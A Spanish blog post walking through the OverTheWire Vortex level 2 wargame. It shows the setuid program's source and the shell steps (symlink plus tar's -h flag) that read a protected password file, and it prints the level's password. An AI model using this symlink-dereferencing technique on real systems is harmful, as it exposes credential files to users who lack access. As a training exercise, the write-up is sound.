Mostrando entradas con la etiqueta level2. Mostrar todas las entradas
Mostrando entradas con la etiqueta level2. Mostrar todas las entradas

jueves, 28 de febrero de 2013

Solución al reto overthewire vortex level 2

En este caso lo que tenemos es el siguiente enunciado:
Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar",
                         argv[1], argv[2], argv[3] 
                       };
        execv(args[0], args);
}
Bueno, se trata de conocer un poco cómo funciona el programa tar, ya sabes, el empaquetador de archivos. Nuestro objetivo es coger el fichero /etc/vortex_pass/vortex3, el primer intento que podríamos hacer es éste:

/tmp$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names

/tmp$ tar xf '/tmp/ownership.$$.tar'
tar: etc/vortex_pass: Cannot mkdir: Permission denied
tar: etc/vortex_pass/vortex3: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors


Como es lo más obvio y directo era de esperar que no funcionara. Dentro del tar tenemos la estructura etc/vortex_pass/vortex3 pero falla en la extracción debido a que en /tmp (la carpeta donde realizo todo ya que es en la que tengo permisos de escritura) ya existe una carpeta etc/vortex_pass.

Vamos a intentar ahora un truquillo. Vamos a hacer un enlace al fichero y tararearlo (verbo tararear, meter cosas en un tar).

/tmp$ ln -s /etc/vortex_pass/vortex3 fichero_to_loco
/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Ahora lo tarareamos y descomprimimos.

/tmp$ /vortex/vortex2 fichero_to_loco
vortex2@melissa:/tmp$ rm -f fichero_to_loco
vortex2@melissa:/tmp$ tar xf 'ownership.$$.tar'
vortex2@melissa:/tmp$ cat fichero_to_loco
cat: fichero_to_loco: Permission denied
vortex2@melissa:/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Vaya por dios, lo que se ha guardado no es el fichero en sí mismo sino el enlace tal cual. Leyendo el man del tar encontraremos lo siguiente:

-h, --dereference
           follow symlinks; archive and dump the files they point to


Bueno, ya con esto casi estamos :).

/tmp$ /vortex/vortex2 -h fichero_to_loco
/tmp$ tar xf 'ownership.$$.tar'
/tmp$ cat fichero_to_loco
64ncXTvx#


Y ya está, al siguiente nivel...

Saludos.